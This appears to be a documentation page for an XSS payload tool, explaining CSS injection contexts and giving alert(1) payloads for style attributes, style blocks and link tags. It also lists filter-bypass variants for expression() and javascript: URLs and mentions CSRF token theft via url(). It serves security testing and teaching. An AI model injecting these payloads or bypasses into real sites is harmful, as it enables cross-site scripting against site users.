CSS Injection
CSS injection occurs when user-controlled input reaches a CSS context — a style attribute, a <style> block, or an external stylesheet URL — without proper sanitization.
When does CSS become XSS?
| Condition | What it enables |
|---|---|
| IE ≤ 8 or IE11 compat mode | expression(), javascript: in CSS URLs |
Loose CSP (style-src 'unsafe-inline') | Style attribute injection, exfiltration via url() |
| CSS-in-JS reflecting raw input | Style property pollution |
<link> / @import injection | External stylesheet load, legacy browser RCE |
Injection contexts
Inline style attribute
" style="xss:expression(alert(1))" x="
Break out of the current attribute value, inject your own style=, then neutralize the trailing quote with a dummy attribute name.
<style> block
<style>
body {
background: url("javascript:alert(1)");
}
@import "javascript:alert(1)";
</style>
<link rel="stylesheet">
<link rel="stylesheet" href="javascript:alert(1)" />
Using xsspayloads
- Select the CSS Injection category in the builder.
- Pick a template matching your context (inline attribute vs. style block).
- Apply
js-ctrl-charsorcomment-split-protocolmutations ifjavascript:is blocked. - Add
javascriptto the filter profile to surface compatible templates automatically.
Bypass strategies
If expression( is blocked:
/* Comment split */
width: exp/**/ression(alert(1))
/* Backslash continuation (IE) */
width: \65xpression(alert(1))
If javascript: is blocked in URLs:
| Technique | Payload |
|---|---|
Tab entity (	) | jav	ascript:alert(1) |
| HTML comment | javas<!---->cript:alert(1) |
| Backslash | java\script:alert(1) (some parsers) |
| Null byte (IE) | java\0script:alert(1) |
Modern relevance
Most modern browsers block expression() and javascript: CSS URLs natively. CSS injection today is primarily used for:
- Data exfiltration via
url()requests (CSS-based CSRF token theft) - Blind injection in CSP-restricted environments where JS is blocked but CSS isn't
- Legacy intranet / embedded systems still running IE-based rendering engines
Legal notice
Only test on systems you own or have explicit written authorization to test (CTF, bug bounty, pentest engagement).